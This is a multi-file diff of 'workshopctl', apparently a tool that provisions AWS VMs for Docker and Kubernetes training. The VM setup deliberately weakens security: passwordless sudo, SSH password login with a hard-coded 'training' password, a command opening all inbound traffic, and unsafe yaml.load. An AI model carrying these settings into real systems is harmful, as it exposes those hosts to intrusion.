- [pyyaml](https://pypi.python.org/pypi/PyYAML)
|
||||
- [jinja2](https://pypi.python.org/pypi/Jinja2)
|
||||
|
||||
You can install them with pip (perhaps with `pip install --user`, or even use `virtualenv` if that's your thing).
|
||||
|
||||
These require Python 3. If you are on a Mac, see below for specific instructions on setting up
|
||||
Python 3 to be the default Python on a Mac. In particular, if you installed `mosh`, Homebrew
|
||||
may have changed your default Python to Python 2.
|
||||
- [pyyaml](https://pypi.python.org/pypi/PyYAML) (on a Mac: `brew install pyyaml`)
|
||||
- [jinja2](https://pypi.python.org/pypi/Jinja2) (on a Mac: `brew install jinja2`)
|
||||
|
||||
## General Workflow
|
||||
|
||||
@@ -93,37 +87,26 @@ You're all set!
|
||||
```
|
||||
workshopctl - the orchestration workshop swiss army knife
|
||||
Commands:
|
||||
build Build the Docker image to run this program in a container
|
||||
cards Generate ready-to-print cards for a group of VMs
|
||||
deploy Install Docker on a bunch of running VMs
|
||||
disableaddrchecks Disable source/destination IP address checks
|
||||
disabledocker Stop Docker Engine and don't restart it automatically
|
||||
helmprom Install Helm and Prometheus
|
||||
help Show available commands
|
||||
ids (FIXME) List the instance IDs belonging to a given tag or token
|
||||
kubebins Install Kubernetes and CNI binaries but don't start anything
|
||||
kubereset Wipe out Kubernetes configuration on all nodes
|
||||
kube Setup kubernetes clusters with kubeadm (must be run AFTER deploy)
|
||||
kubetest Check that all nodes are reporting as Ready
|
||||
listall List VMs running on all configured infrastructures
|
||||
list List available groups for a given infrastructure
|
||||
netfix Disable GRO and run a pinger job on the VMs
|
||||
opensg Open the default security group to ALL ingress traffic
|
||||
ping Ping VMs in a given tag, to check that they have network access
|
||||
pssh Run an arbitrary command on all nodes
|
||||
pull_images Pre-pull a bunch of Docker images
|
||||
quotas Check our infrastructure quotas (max instances)
|
||||
remap_nodeports Remap NodePort range to 10000-10999
|
||||
retag (FIXME) Apply a new tag to a group of VMs
|
||||
ssh Open an SSH session to the first node of a tag
|
||||
start Start a group of VMs
|
||||
stop Stop (terminate, shutdown, kill, remove, destroy...) instances
|
||||
tags List groups of VMs known locally
|
||||
test Run tests (pre-flight checks) on a group of VMs
|
||||
weavetest Check that weave seems properly setup
|
||||
webssh Install a WEB SSH server on the machines (port 1080)
|
||||
wrap Run this program in a container
|
||||
www Run a web server to access card HTML and PDF
|
||||
ami Show the AMI that will be used for deployment
|
||||
amis List Ubuntu AMIs in the current region
|
||||
build Build the Docker image to run this program in a container
|
||||
cards Generate ready-to-print cards for a group of VMs
|
||||
deploy Install Docker on a bunch of running VMs
|
||||
ec2quotas Check our EC2 quotas (max instances)
|
||||
help Show available commands
|
||||
ids List the instance IDs belonging to a given tag or token
|
||||
ips List the IP addresses of the VMs for a given tag or token
|
||||
kube Setup kubernetes clusters with kubeadm (must be run AFTER deploy)
|
||||
kubetest Check that all notes are reporting as Ready
|
||||
list List available groups in the current region
|
||||
opensg Open the default security group to ALL ingress traffic
|
||||
pull_images Pre-pull a bunch of Docker images
|
||||
retag Apply a new tag to a group of VMs
|
||||
start Start a group of VMs
|
||||
status List instance status for a given group
|
||||
stop Stop (terminate, shutdown, kill, remove, destroy...) instances
|
||||
test Run tests (pre-flight checks) on a group of VMs
|
||||
wrap Run this program in a container
|
||||
```
|
||||
|
||||
### Summary of What `./workshopctl` Does For You
|
||||
@@ -262,32 +245,3 @@ If you don't have `wkhtmltopdf` installed, you will get a warning that it is a m
|
||||
|
||||
- Don't write to bash history in system() in postprep
|
||||
- compose, etc version inconsistent (int vs str)
|
||||
|
||||
## Making sure Python3 is the default (Mac only)
|
||||
|
||||
Check the `/usr/local/bin/python` symlink. It should be pointing to
|
||||
`/usr/local/Cellar/python/3`-something. If it isn't, follow these
|
||||
instructions.
|
||||
|
||||
1) Verify that Python 3 is installed.
|
||||
|
||||
```
|
||||
ls -la /usr/local/Cellar/Python
|
||||
```
|
||||
|
||||
You should see one or more versions of Python 3. If you don't,
|
||||
install it with `brew install python`.
|
||||
|
||||
2) Verify that `python` points to Python3.
|
||||
|
||||
```
|
||||
ls -la /usr/local/bin/python
|
||||
```
|
||||
|
||||
If this points to `/usr/local/Cellar/python@2`, then we'll need to change it.
|
||||
|
||||
```
|
||||
rm /usr/local/bin/python
|
||||
ln -s /usr/local/Cellar/Python/xxxx /usr/local/bin/python
|
||||
# where xxxx is the most recent Python 3 version you saw above
|
||||
```
|
||||
|
||||
@@ -33,14 +33,9 @@ _cmd_cards() {
|
||||
../../lib/ips-txt-to-html.py settings.yaml
|
||||
)
|
||||
|
||||
ln -sf ../tags/$TAG/ips.html www/$TAG.html
|
||||
ln -sf ../tags/$TAG/ips.pdf www/$TAG.pdf
|
||||
|
||||
info "Cards created. You can view them with:"
|
||||
info "xdg-open tags/$TAG/ips.html tags/$TAG/ips.pdf (on Linux)"
|
||||
info "open tags/$TAG/ips.html (on macOS)"
|
||||
info "Or you can start a web server with:"
|
||||
info "$0 www"
|
||||
}
|
||||
|
||||
_cmd deploy "Install Docker on a bunch of running VMs"
|
||||
@@ -127,11 +122,11 @@ _cmd_kubebins() {
|
||||
set -e
|
||||
cd /usr/local/bin
|
||||
if ! [ -x etcd ]; then
|
||||
curl -L https://github.com/etcd-io/etcd/releases/download/v3.3.15/etcd-v3.3.15-linux-amd64.tar.gz \
|
||||
curl -L https://github.com/etcd-io/etcd/releases/download/v3.3.10/etcd-v3.3.10-linux-amd64.tar.gz \
|
||||
| sudo tar --strip-components=1 --wildcards -zx '*/etcd' '*/etcdctl'
|
||||
fi
|
||||
if ! [ -x hyperkube ]; then
|
||||
curl -L https://dl.k8s.io/v1.16.2/kubernetes-server-linux-amd64.tar.gz \
|
||||
curl -L https://dl.k8s.io/v1.14.1/kubernetes-server-linux-amd64.tar.gz \
|
||||
| sudo tar --strip-components=3 -zx kubernetes/server/bin/hyperkube
|
||||
fi
|
||||
if ! [ -x kubelet ]; then
|
||||
@@ -143,7 +138,7 @@ _cmd_kubebins() {
|
||||
sudo mkdir -p /opt/cni/bin
|
||||
cd /opt/cni/bin
|
||||
if ! [ -x bridge ]; then
|
||||
curl -L https://github.com/containernetworking/plugins/releases/download/v0.7.6/cni-plugins-amd64-v0.7.6.tgz \
|
||||
curl -L https://github.com/containernetworking/plugins/releases/download/v0.7.5/cni-plugins-amd64-v0.7.5.tgz \
|
||||
| sudo tar -zx
|
||||
fi
|
||||
"
|
||||
@@ -157,10 +152,10 @@ _cmd_kube() {
|
||||
# Optional version, e.g. 1.13.5
|
||||
KUBEVERSION=$2
|
||||
if [ "$KUBEVERSION" ]; then
|
||||
EXTRA_APTGET="=$KUBEVERSION-00"
|
||||
EXTRA_KUBELET="=$KUBEVERSION-00"
|
||||
EXTRA_KUBEADM="--kubernetes-version=v$KUBEVERSION"
|
||||
else
|
||||
EXTRA_APTGET=""
|
||||
EXTRA_KUBELET=""
|
||||
EXTRA_KUBEADM=""
|
||||
fi
|
||||
|
||||
@@ -172,7 +167,7 @@ _cmd_kube() {
|
||||
sudo tee /etc/apt/sources.list.d/kubernetes.list"
|
||||
pssh --timeout 200 "
|
||||
sudo apt-get update -q &&
|
||||
sudo apt-get install -qy kubelet$EXTRA_APTGET kubeadm$EXTRA_APTGET kubectl$EXTRA_APTGET &&
|
||||
sudo apt-get install -qy kubelet$EXTRA_KUBELET kubeadm kubectl &&
|
||||
kubectl completion bash | sudo tee /etc/bash_completion.d/kubectl"
|
||||
|
||||
# Initialize kube master
|
||||
@@ -234,7 +229,7 @@ EOF"
|
||||
pssh "
|
||||
if [ ! -x /usr/local/bin/stern ]; then
|
||||
##VERSION##
|
||||
sudo curl -L -o /usr/local/bin/stern https://github.com/wercker/stern/releases/download/1.11.0/stern_linux_amd64 &&
|
||||
sudo curl -L -o /usr/local/bin/stern https://github.com/wercker/stern/releases/download/1.10.0/stern_linux_amd64 &&
|
||||
sudo chmod +x /usr/local/bin/stern &&
|
||||
stern --completion bash | sudo tee /etc/bash_completion.d/stern
|
||||
fi"
|
||||
@@ -253,14 +248,6 @@ EOF"
|
||||
sudo tar -C /usr/local/bin -zx ship
|
||||
fi"
|
||||
|
||||
# Install the AWS IAM authenticator
|
||||
pssh "
|
||||
if [ ! -x /usr/local/bin/aws-iam-authenticator ]; then
|
||||
##VERSION##
|
||||
sudo curl -o /usr/local/bin/aws-iam-authenticator https://amazon-eks.s3-us-west-2.amazonaws.com/1.12.7/2019-03-27/bin/linux/amd64/aws-iam-authenticator
|
||||
sudo chmod +x /usr/local/bin/aws-iam-authenticator
|
||||
fi"
|
||||
|
||||
sep "Done"
|
||||
}
|
||||
|
||||
@@ -323,14 +310,6 @@ _cmd_listall() {
|
||||
done
|
||||
}
|
||||
|
||||
_cmd ping "Ping VMs in a given tag, to check that they have network access"
|
||||
_cmd_ping() {
|
||||
TAG=$1
|
||||
need_tag
|
||||
|
||||
fping < tags/$TAG/ips.txt
|
||||
}
|
||||
|
||||
_cmd netfix "Disable GRO and run a pinger job on the VMs"
|
||||
_cmd_netfix () {
|
||||
TAG=$1
|
||||
@@ -386,20 +365,6 @@ _cmd_pull_images() {
|
||||
pull_tag
|
||||
}
|
||||
|
||||
_cmd remap_nodeports "Remap NodePort range to 10000-10999"
|
||||
_cmd_remap_nodeports() {
|
||||
TAG=$1
|
||||
need_tag
|
||||
|
||||
FIND_LINE=" - --service-cluster-ip-range=10.96.0.0\/12"
|
||||
ADD_LINE=" - --service-node-port-range=10000-10999"
|
||||
MANIFEST_FILE=/etc/kubernetes/manifests/kube-apiserver.yaml
|
||||
pssh "
|
||||
if i_am_first_node && ! grep -q '$ADD_LINE' $MANIFEST_FILE; then
|
||||
sudo sed -i 's/\($FIND_LINE\)\$/\1\n$ADD_LINE/' $MANIFEST_FILE
|
||||
fi"
|
||||
}
|
||||
|
||||
_cmd quotas "Check our infrastructure quotas (max instances)"
|
||||
_cmd_quotas() {
|
||||
need_infra $1
|
||||
@@ -418,15 +383,6 @@ _cmd_retag() {
|
||||
aws_tag_instances $OLDTAG $NEWTAG
|
||||
}
|
||||
|
||||
_cmd ssh "Open an SSH session to the first node of a tag"
|
||||
_cmd_ssh() {
|
||||
TAG=$1
|
||||
need_tag
|
||||
IP=$(head -1 tags/$TAG/ips.txt)
|
||||
info "Logging into $IP"
|
||||
ssh docker@$IP
|
||||
}
|
||||
|
||||
_cmd start "Start a group of VMs"
|
||||
_cmd_start() {
|
||||
while [ ! -z "$*" ]; do
|
||||
@@ -525,12 +481,12 @@ _cmd_helmprom() {
|
||||
if i_am_first_node; then
|
||||
kubectl -n kube-system get serviceaccount helm ||
|
||||
kubectl -n kube-system create serviceaccount helm
|
||||
sudo -u docker -H helm init --service-account helm
|
||||
helm init --service-account helm
|
||||
kubectl get clusterrolebinding helm-can-do-everything ||
|
||||
kubectl create clusterrolebinding helm-can-do-everything \
|
||||
--clusterrole=cluster-admin \
|
||||
--serviceaccount=kube-system:helm
|
||||
sudo -u docker -H helm upgrade --install prometheus stable/prometheus \
|
||||
helm upgrade --install prometheus stable/prometheus \
|
||||
--namespace kube-system \
|
||||
--set server.service.type=NodePort \
|
||||
--set server.service.nodePort=30090 \
|
||||
@@ -555,50 +511,6 @@ _cmd_weavetest() {
|
||||
sh -c \"./weave --local status | grep Connections | grep -q ' 1 failed' || ! echo POD \""
|
||||
}
|
||||
|
||||
_cmd webssh "Install a WEB SSH server on the machines (port 1080)"
|
||||
_cmd_webssh() {
|
||||
TAG=$1
|
||||
need_tag
|
||||
pssh "
|
||||
sudo apt-get update &&
|
||||
sudo apt-get install python-tornado python-paramiko -y"
|
||||
pssh "
|
||||
[ -d webssh ] || git clone https://github.com/jpetazzo/webssh"
|
||||
pssh "
|
||||
for KEYFILE in /etc/ssh/*.pub; do
|
||||
read a b c < \$KEYFILE; echo localhost \$a \$b
|
||||
done > webssh/known_hosts"
|
||||
pssh "cat >webssh.service <<EOF
|
||||
[Unit]
|
||||
Description=webssh
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
|
||||
[Service]
|
||||
WorkingDirectory=/home/ubuntu/webssh
|
||||
ExecStart=/usr/bin/env python run.py --fbidhttp=false --port=1080 --policy=reject
|
||||
User=nobody
|
||||
Group=nogroup
|
||||
Restart=always
|
||||
EOF"
|
||||
pssh "
|
||||
sudo systemctl enable \$PWD/webssh.service &&
|
||||
sudo systemctl start webssh.service"
|
||||
}
|
||||
|
||||
_cmd www "Run a web server to access card HTML and PDF"
|
||||
_cmd_www() {
|
||||
cd www
|
||||
IPADDR=$(curl -sL canihazip.com/s)
|
||||
info "The following files are available:"
|
||||
for F in *; do
|
||||
echo "http://$IPADDR:8000/$F"
|
||||
done
|
||||
info "Press Ctrl-C to stop server."
|
||||
python3 -m http.server
|
||||
}
|
||||
|
||||
greet() {
|
||||
IAMUSER=$(aws iam get-user --query 'User.UserName')
|
||||
info "Hello! You seem to be UNIX user $USER, and IAM user $IAMUSER."
|
||||
|
||||
@@ -31,7 +31,6 @@ infra_start() {
|
||||
die "I could not find which AMI to use in this region. Try another region?"
|
||||
fi
|
||||
AWS_KEY_NAME=$(make_key_name)
|
||||
AWS_INSTANCE_TYPE=${AWS_INSTANCE_TYPE-t3a.medium}
|
||||
|
||||
sep "Starting instances"
|
||||
info " Count: $COUNT"
|
||||
@@ -39,11 +38,10 @@ infra_start() {
|
||||
info " Token/tag: $TAG"
|
||||
info " AMI: $AMI"
|
||||
info " Key name: $AWS_KEY_NAME"
|
||||
info " Instance type: $AWS_INSTANCE_TYPE"
|
||||
result=$(aws ec2 run-instances \
|
||||
--key-name $AWS_KEY_NAME \
|
||||
--count $COUNT \
|
||||
--instance-type $AWS_INSTANCE_TYPE \
|
||||
--instance-type ${AWS_INSTANCE_TYPE-t2.medium} \
|
||||
--client-token $TAG \
|
||||
--block-device-mapping 'DeviceName=/dev/sda1,Ebs={VolumeSize=20}' \
|
||||
--image-id $AMI)
|
||||
@@ -99,7 +97,7 @@ infra_disableaddrchecks() {
|
||||
}
|
||||
|
||||
wait_until_tag_is_running() {
|
||||
max_retry=100
|
||||
max_retry=50
|
||||
i=0
|
||||
done_count=0
|
||||
while [[ $done_count -lt $COUNT ]]; do
|
||||
|
||||
@@ -1,15 +1,20 @@
|
||||
#!/usr/bin/env python3
|
||||
#!/usr/bin/env python
|
||||
import os
|
||||
import sys
|
||||
import yaml
|
||||
import jinja2
|
||||
|
||||
def prettify(l):
|
||||
l = [ip.strip() for ip in l]
|
||||
ret = [ "node{}: <code>{}</code>".format(i+1, s) for (i, s) in zip(range(len(l)), l) ]
|
||||
return ret
|
||||
|
||||
# Read settings from user-provided settings file
|
||||
context = yaml.safe_load(open(sys.argv[1]))
|
||||
SETTINGS = yaml.load(open(sys.argv[1]))
|
||||
|
||||
clustersize = SETTINGS["clustersize"]
|
||||
|
||||
ips = list(open("ips.txt"))
|
||||
clustersize = context["clustersize"]
|
||||
|
||||
print("---------------------------------------------")
|
||||
print(" Number of IPs: {}".format(len(ips)))
|
||||
@@ -25,9 +30,7 @@ while ips:
|
||||
ips = ips[clustersize:]
|
||||
clusters.append(cluster)
|
||||
|
||||
context["clusters"] = clusters
|
||||
|
||||
template_file_name = context["cards_template"]
|
||||
template_file_name = SETTINGS["cards_template"]
|
||||
template_file_path = os.path.join(
|
||||
os.path.dirname(__file__),
|
||||
"..",
|
||||
@@ -36,19 +39,18 @@ template_file_path = os.path.join(
|
||||
)
|
||||
template = jinja2.Template(open(template_file_path).read())
|
||||
with open("ips.html", "w") as f:
|
||||
f.write(template.render(**context))
|
||||
f.write(template.render(clusters=clusters, **SETTINGS))
|
||||
print("Generated ips.html")
|
||||
|
||||
|
||||
try:
|
||||
import pdfkit
|
||||
with open("ips.html") as f:
|
||||
pdfkit.from_file(f, "ips.pdf", options={
|
||||
"page-size": context["paper_size"],
|
||||
"margin-top": context["paper_margin"],
|
||||
"margin-bottom": context["paper_margin"],
|
||||
"margin-left": context["paper_margin"],
|
||||
"margin-right": context["paper_margin"],
|
||||
"page-size": SETTINGS["paper_size"],
|
||||
"margin-top": SETTINGS["paper_margin"],
|
||||
"margin-bottom": SETTINGS["paper_margin"],
|
||||
"margin-left": SETTINGS["paper_margin"],
|
||||
"margin-right": SETTINGS["paper_margin"],
|
||||
})
|
||||
print("Generated ips.pdf")
|
||||
except ImportError:
|
||||
|
||||
@@ -73,29 +73,8 @@ set expandtab
|
||||
set number
|
||||
set shiftwidth=2
|
||||
set softtabstop=2
|
||||
set nowrap
|
||||
SQRL""")
|
||||
|
||||
# Custom .tmux.conf
|
||||
system(
|
||||
"""sudo -u docker tee /home/docker/.tmux.conf <<SQRL
|
||||
bind h select-pane -L
|
||||
bind j select-pane -D
|
||||
bind k select-pane -U
|
||||
bind l select-pane -R
|
||||
|
||||
# Allow using mouse to switch panes
|
||||
set -g mouse on
|
||||
|
||||
# Make scrolling with wheels work
|
||||
|
||||
bind -n WheelUpPane if-shell -F -t = "#{mouse_any_flag}" "send-keys -M" "if -Ft= '#{pane_in_mode}' 'send-keys -M' 'select-pane -t=; copy-mode -e; send-keys -M'"
|
||||
bind -n WheelDownPane select-pane -t= \; send-keys -M
|
||||
|
||||
SQRL"""
|
||||
)
|
||||
|
||||
|
||||
# add docker user to sudoers and allow password authentication
|
||||
system("""sudo tee /etc/sudoers.d/docker <<SQRL
|
||||
docker ALL=(ALL) NOPASSWD:ALL
|
||||
@@ -106,7 +85,6 @@ system("sudo sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /e
|
||||
system("sudo service ssh restart")
|
||||
system("sudo apt-get -q update")
|
||||
system("sudo apt-get -qy install git jq")
|
||||
system("sudo apt-get -qy install emacs-nox joe")
|
||||
|
||||
#######################
|
||||
### DOCKER INSTALLS ###
|
||||
|
||||
@@ -5,7 +5,7 @@ clustersize: 1
|
||||
clusterprefix: dmuc
|
||||
|
||||
# Jinja2 template to use to generate ready-to-cut cards
|
||||
cards_template: cards.html
|
||||
cards_template: admin.html
|
||||
|
||||
# Use "Letter" in the US, and "A4" everywhere else
|
||||
paper_size: A4
|
||||
@@ -21,10 +21,8 @@ paper_margin: 0.2in
|
||||
engine_version: stable
|
||||
|
||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||
compose_version: 1.24.1
|
||||
compose_version: 1.21.1
|
||||
machine_version: 0.14.0
|
||||
|
||||
# Password used to connect with the "docker user"
|
||||
docker_user_password: training
|
||||
|
||||
image:
|
||||
|
||||
@@ -5,7 +5,7 @@ clustersize: 3
|
||||
clusterprefix: kubenet
|
||||
|
||||
# Jinja2 template to use to generate ready-to-cut cards
|
||||
cards_template: cards.html
|
||||
cards_template: admin.html
|
||||
|
||||
# Use "Letter" in the US, and "A4" everywhere else
|
||||
paper_size: A4
|
||||
@@ -21,11 +21,8 @@ paper_margin: 0.2in
|
||||
engine_version: stable
|
||||
|
||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||
compose_version: 1.24.1
|
||||
compose_version: 1.21.1
|
||||
machine_version: 0.14.0
|
||||
|
||||
# Password used to connect with the "docker user"
|
||||
docker_user_password: training
|
||||
|
||||
clusternumber: 100
|
||||
image:
|
||||
|
||||
@@ -5,7 +5,7 @@ clustersize: 3
|
||||
clusterprefix: kuberouter
|
||||
|
||||
# Jinja2 template to use to generate ready-to-cut cards
|
||||
cards_template: cards.html
|
||||
cards_template: admin.html
|
||||
|
||||
# Use "Letter" in the US, and "A4" everywhere else
|
||||
paper_size: A4
|
||||
@@ -21,11 +21,8 @@ paper_margin: 0.2in
|
||||
engine_version: stable
|
||||
|
||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||
compose_version: 1.24.1
|
||||
compose_version: 1.21.1
|
||||
machine_version: 0.14.0
|
||||
|
||||
# Password used to connect with the "docker user"
|
||||
docker_user_password: training
|
||||
|
||||
clusternumber: 200
|
||||
image:
|
||||
|
||||
@@ -5,7 +5,7 @@ clustersize: 3
|
||||
clusterprefix: test
|
||||
|
||||
# Jinja2 template to use to generate ready-to-cut cards
|
||||
cards_template: cards.html
|
||||
cards_template: admin.html
|
||||
|
||||
# Use "Letter" in the US, and "A4" everywhere else
|
||||
paper_size: A4
|
||||
@@ -21,10 +21,8 @@ paper_margin: 0.2in
|
||||
engine_version: stable
|
||||
|
||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||
compose_version: 1.24.1
|
||||
compose_version: 1.21.1
|
||||
machine_version: 0.14.0
|
||||
|
||||
# Password used to connect with the "docker user"
|
||||
docker_user_password: training
|
||||
|
||||
image:
|
||||
|
||||
29
prepare-vms/settings/enix.yaml
Normal file
@@ -0,0 +1,29 @@
|
||||
# Number of VMs per cluster
|
||||
clustersize: 1
|
||||
|
||||
# The hostname of each node will be clusterprefix + a number
|
||||
clusterprefix: node
|
||||
|
||||
# Jinja2 template to use to generate ready-to-cut cards
|
||||
cards_template: enix.html
|
||||
|
||||
# Use "Letter" in the US, and "A4" everywhere else
|
||||
paper_size: A4
|
||||
|
||||
# Feel free to reduce this if your printer can handle it
|
||||
paper_margin: 0.2in
|
||||
|
||||
# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
|
||||
# If you print (or generate a PDF) using ips.html, they will be ignored.
|
||||
# (The equivalent parameters must be set from the browser's print dialog.)
|
||||
|
||||
# This can be "test" or "stable"
|
||||
engine_version: stable
|
||||
|
||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||
compose_version: 1.21.1
|
||||
machine_version: 0.14.0
|
||||
|
||||
# Password used to connect with the "docker user"
|
||||
docker_user_password: training
|
||||
|
||||
@@ -23,7 +23,7 @@ paper_margin: 0.2in
|
||||
engine_version: test
|
||||
|
||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||
compose_version: 1.24.1
|
||||
compose_version: 1.18.0
|
||||
machine_version: 0.13.0
|
||||
|
||||
# Password used to connect with the "docker user"
|
||||
|
||||
@@ -23,7 +23,7 @@ paper_margin: 0.2in
|
||||
engine_version: stable
|
||||
|
||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||
compose_version: 1.24.1
|
||||
compose_version: 1.22.0
|
||||
machine_version: 0.15.0
|
||||
|
||||
# Password used to connect with the "docker user"
|
||||
|
||||
@@ -5,10 +5,10 @@ clustersize: 4
|
||||
clusterprefix: node
|
||||
|
||||
# Jinja2 template to use to generate ready-to-cut cards
|
||||
cards_template: cards.html
|
||||
cards_template: jerome.html
|
||||
|
||||
# Use "Letter" in the US, and "A4" everywhere else
|
||||
paper_size: Letter
|
||||
paper_size: A4
|
||||
|
||||
# Feel free to reduce this if your printer can handle it
|
||||
paper_margin: 0.2in
|
||||
@@ -21,8 +21,9 @@ paper_margin: 0.2in
|
||||
engine_version: stable
|
||||
|
||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||
compose_version: 1.24.1
|
||||
compose_version: 1.21.1
|
||||
machine_version: 0.14.0
|
||||
|
||||
# Password used to connect with the "docker user"
|
||||
docker_user_password: training
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@ clustersize: 3
|
||||
clusterprefix: node
|
||||
|
||||
# Jinja2 template to use to generate ready-to-cut cards
|
||||
cards_template: cards.html
|
||||
cards_template: kube101.html
|
||||
|
||||
# Use "Letter" in the US, and "A4" everywhere else
|
||||
paper_size: Letter
|
||||
@@ -23,7 +23,7 @@ paper_margin: 0.2in
|
||||
engine_version: stable
|
||||
|
||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||
compose_version: 1.24.1
|
||||
compose_version: 1.21.1
|
||||
machine_version: 0.14.0
|
||||
|
||||
# Password used to connect with the "docker user"
|
||||
|
||||
@@ -23,7 +23,7 @@ paper_margin: 0.2in
|
||||
engine_version: stable
|
||||
|
||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||
compose_version: 1.24.1
|
||||
compose_version: 1.22.0
|
||||
machine_version: 0.15.0
|
||||
|
||||
# Password used to connect with the "docker user"
|
||||
|
||||
@@ -1,20 +1,15 @@
|
||||
#!/bin/sh
|
||||
set -e
|
||||
|
||||
export AWS_INSTANCE_TYPE=t3a.small
|
||||
|
||||
INFRA=infra/aws-us-west-2
|
||||
INFRA=infra/aws-eu-west-3
|
||||
|
||||
STUDENTS=2
|
||||
|
||||
PREFIX=$(date +%Y-%m-%d-%H-%M)
|
||||
|
||||
SETTINGS=admin-dmuc
|
||||
TAG=$PREFIX-$SETTINGS
|
||||
TAG=admin-dmuc
|
||||
./workshopctl start \
|
||||
--tag $TAG \
|
||||
--infra $INFRA \
|
||||
--settings settings/$SETTINGS.yaml \
|
||||
--settings settings/$TAG.yaml \
|
||||
--count $STUDENTS
|
||||
|
||||
./workshopctl deploy $TAG
|
||||
@@ -22,45 +17,37 @@ TAG=$PREFIX-$SETTINGS
|
||||
./workshopctl kubebins $TAG
|
||||
./workshopctl cards $TAG
|
||||
|
||||
SETTINGS=admin-kubenet
|
||||
TAG=$PREFIX-$SETTINGS
|
||||
TAG=admin-kubenet
|
||||
./workshopctl start \
|
||||
--tag $TAG \
|
||||
--infra $INFRA \
|
||||
--settings settings/$SETTINGS.yaml \
|
||||
--settings settings/$TAG.yaml \
|
||||
--count $((3*$STUDENTS))
|
||||
|
||||
./workshopctl disableaddrchecks $TAG
|
||||
./workshopctl deploy $TAG
|
||||
./workshopctl kubebins $TAG
|
||||
./workshopctl disableaddrchecks $TAG
|
||||
./workshopctl cards $TAG
|
||||
|
||||
SETTINGS=admin-kuberouter
|
||||
TAG=$PREFIX-$SETTINGS
|
||||
TAG=admin-kuberouter
|
||||
./workshopctl start \
|
||||
--tag $TAG \
|
||||
--infra $INFRA \
|
||||
--settings settings/$SETTINGS.yaml \
|
||||
--settings settings/$TAG.yaml \
|
||||
--count $((3*$STUDENTS))
|
||||
|
||||
./workshopctl disableaddrchecks $TAG
|
||||
./workshopctl deploy $TAG
|
||||
./workshopctl kubebins $TAG
|
||||
./workshopctl disableaddrchecks $TAG
|
||||
./workshopctl cards $TAG
|
||||
|
||||
#INFRA=infra/aws-us-west-1
|
||||
|
||||
export AWS_INSTANCE_TYPE=t3a.medium
|
||||
|
||||
SETTINGS=admin-test
|
||||
TAG=$PREFIX-$SETTINGS
|
||||
TAG=admin-test
|
||||
./workshopctl start \
|
||||
--tag $TAG \
|
||||
--infra $INFRA \
|
||||
--settings settings/$SETTINGS.yaml \
|
||||
--settings settings/$TAG.yaml \
|
||||
--count $((3*$STUDENTS))
|
||||
|
||||
./workshopctl deploy $TAG
|
||||
./workshopctl kube $TAG 1.14.6
|
||||
./workshopctl kube $TAG 1.13.5
|
||||
./workshopctl cards $TAG
|
||||
|
||||
|
||||
124
prepare-vms/templates/admin.html
Normal file
@@ -0,0 +1,124 @@
|
||||
{# Feel free to customize or override anything in there! #}
|
||||
{%- set url = "http://FIXME.container.training" -%}
|
||||
{%- set pagesize = 9 -%}
|
||||
{%- if clustersize == 1 -%}
|
||||
{%- set workshop_name = "Docker workshop" -%}
|
||||
{%- set cluster_or_machine = "machine virtuelle" -%}
|
||||
{%- set this_or_each = "cette" -%}
|
||||
{%- set plural = "" -%}
|
||||
{%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
|
||||
{%- else -%}
|
||||
{%- set workshop_name = "Kubernetes workshop" -%}
|
||||
{%- set cluster_or_machine = "cluster" -%}
|
||||
{%- set this_or_each = "chaque" -%}
|
||||
{%- set plural = "s" -%}
|
||||
{%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
|
||||
{%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
|
||||
{%- set image_src = image_src_kube -%}
|
||||
{%- endif -%}
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
||||
<html>
|
||||
<head><style>
|
||||
@import url('https://fonts.googleapis.com/css?family=Slabo+27px');
|
||||
|
||||
body, table {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
line-height: 1em;
|
||||
font-size: 15px;
|
||||
font-family: 'Slabo 27px';
|
||||
}
|
||||
|
||||
table {
|
||||
border-spacing: 0;
|
||||
margin-top: 0.4em;
|
||||
margin-bottom: 0.4em;
|
||||
border-left: 0.8em double grey;
|
||||
padding-left: 0.4em;
|
||||
}
|
||||
|
||||
div {
|
||||
float: left;
|
||||
border: 1px dotted black;
|
||||
padding-top: 1%;
|
||||
padding-bottom: 1%;
|
||||
/* columns * (width+left+right) < 100% */
|
||||
width: 30%;
|
||||
padding-left: 1.5%;
|
||||
padding-right: 1.5%;
|
||||
}
|
||||
|
||||
p {
|
||||
margin: 0.4em 0 0.4em 0;
|
||||
}
|
||||
|
||||
img {
|
||||
height: 4em;
|
||||
float: right;
|
||||
margin-right: -0.3em;
|
||||
}
|
||||
|
||||
img.enix {
|
||||
height: 4.0em;
|
||||
margin-top: 0.4em;
|
||||
}
|
||||
|
||||
img.kube {
|
||||
height: 4.2em;
|
||||
margin-top: 1.7em;
|
||||
}
|
||||
|
||||
.logpass {
|
||||
font-family: monospace;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.pagebreak {
|
||||
page-break-after: always;
|
||||
clear: both;
|
||||
display: block;
|
||||
height: 8px;
|
||||
}
|
||||
</style></head>
|
||||
<body>
|
||||
{% for cluster in clusters %}
|
||||
{% if loop.index0>0 and loop.index0%pagesize==0 %}
|
||||
<span class="pagebreak"></span>
|
||||
{% endif %}
|
||||
<div>
|
||||
|
||||
<p>
|
||||
Voici les informations permettant de se connecter à un
|
||||
des environnements utilisés pour cette formation.
|
||||
Vous pouvez vous connecter à {{ this_or_each }} machine
|
||||
virtuelle avec n'importe quel client SSH.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
